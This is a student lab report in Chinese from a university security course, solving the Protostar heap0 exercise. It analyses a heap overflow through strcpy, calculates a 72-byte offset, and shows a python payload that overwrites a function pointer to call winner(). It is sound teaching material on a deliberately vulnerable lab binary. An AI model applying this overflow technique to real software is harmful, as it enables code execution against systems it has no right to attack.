上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Heap0

学号：522031910439　姓名：梁俊轩

2025 年 4 月 16 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap0 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();
```

```
}
```

2 漏洞分析

data->name 使用 strcpy 直接复制用户输入（无长度检查）。fp 结构体包含函数指针 f->fp，默认指向 nowinner。data 和 fp 是连续分配的堆块。data 大小为 64 字节 (char name[64])，fp 大小为 4 字节（函数指针）。输入到 data->name 的数据溢出后，会覆盖相邻的 fp 结构体中的 fp 函数指针。我们的目标便是通过溢出 data->name 覆盖 f->fp，使其指向 winner 函数。

data 结构体大小为 64 字节。溢出 data->name 的 64 字节后，接下来的 4 字节即 f->fp

我们试运行 heap0：

```
root@protostar:/opt/protostar/bin# ./heap0 A
data is at 0x804a008, fp is at 0x804a050
level has not been passed
```

我们的目的是调用 winner 函数，所以我们需要将 fp 存的的地址改为 0x08048464，由于 0x804a050 -0x804a008 = 0x48 = 72，所以我们可以开始构造 payload

```
"A"*72 + <winner 函数地址>
```

我们需要查询到 winner 的地址：

```
(gdb) print winner
1 = {void (void)} 0x8048464 <winner>
```

那么我们就可以构造自己的攻击指令：

```
root@protostar:/opt/protostar/bin#  ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
```

最后也可以看到攻击成功：

```
root@protostar:/opt/protostar/bin#  ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed
```

图 1 攻击结果